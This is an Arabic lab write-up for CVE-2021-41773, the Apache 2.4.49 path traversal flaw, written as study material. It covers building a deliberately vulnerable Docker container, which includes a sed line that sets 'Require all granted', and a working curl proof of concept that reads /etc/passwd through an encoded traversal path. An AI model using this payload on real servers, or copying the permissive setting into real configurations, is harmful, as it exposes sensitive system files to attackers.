CVE-2021-41773 – تقرير Apache Path Traversal

---

ملخص

• ثغرة تم اكتشافها في Apache HTTP Server 2.4.49، والتي يمكن أن تؤدي إلى كشف ملفات حساسة في النظام عبر هجوم Path Traversal وفقًا لإعدادات خادم الويب.
• Path Traversal: يمكن للمهاجم استخدام مسارات تحتوي على ../ للوصول إلى ملفات خارج جذر الويب.

---

معلومات

• اسم الثغرة: CVE-2021-41773
• الإصدار المتأثر: Apache HTTP Server 2.4.49
• نوع الثغرة: Path Traversal
• توفر التصحيح الرسمي: تم إصلاحه في الإصدار 2.4.50 وما فوق.

---

إعداد بيئة التمرين

• Base Image : 'httpd:2.4.49' (DockerHub)
• طريقة تشغيل الحاوية: Dockerfile + docker-compose.yml
• منفذ التشغيل: 8080 → مرتبط بالمنفذ 80 للحاوية
• تعديل إعدادات Apache: تم تغييرها إلى 'Require all granted' (لتمكين Path Traversal)

---

طريقة تشغيل البيئة

• git clone https://github.com/JIYUN02/cve-2021-41773.git
• cd cve-2021-41773
• docker-compose up --build

---

إثبات المفهوم (PoC) للثغرة

• curl http://localhost:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd

---

العملية التفصيلية

1. تشغيل الدليل الخاص بالمهمة

2. إعداد Dockerfile

-> قاعدة الصورة: httpd:2.4.49 (الإصدار الذي يحتوي على الثغرة)

-> 'sed -i 's/Require all denied/Require all granted/g' : السماح بـ Path Traversal والوصول الخارجي

3. docker-compose.yml

-> تعريف Apache

-> تعيين المنفذ 8080 إلى المنفذ 80 للحاوية

4. تشغيل Docker

   

5. تشغيل PoC

   

-> curl http://localhost:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd

-> /etc/passwd يحتوي على معلومات حساسة، %2e هو الترميز لـ .. وهو أمر للانتقال إلى الدليل الأعلى

-> يتم التلاعب بالمسار ليجعل الخادم يصل إلى /etc/passwd ويخرجه

7. نتيجة التشغيل

-> كما هو موضح في الصورة أعلاه، يمكن الوصول إلى الدلائل الحساسة

---

عنوان المستودع القابل للوصول عبر Fork

https://github.com/JIYUN02/cve-2021-41773

-> يوجد تاريخ الالتزامات (commits)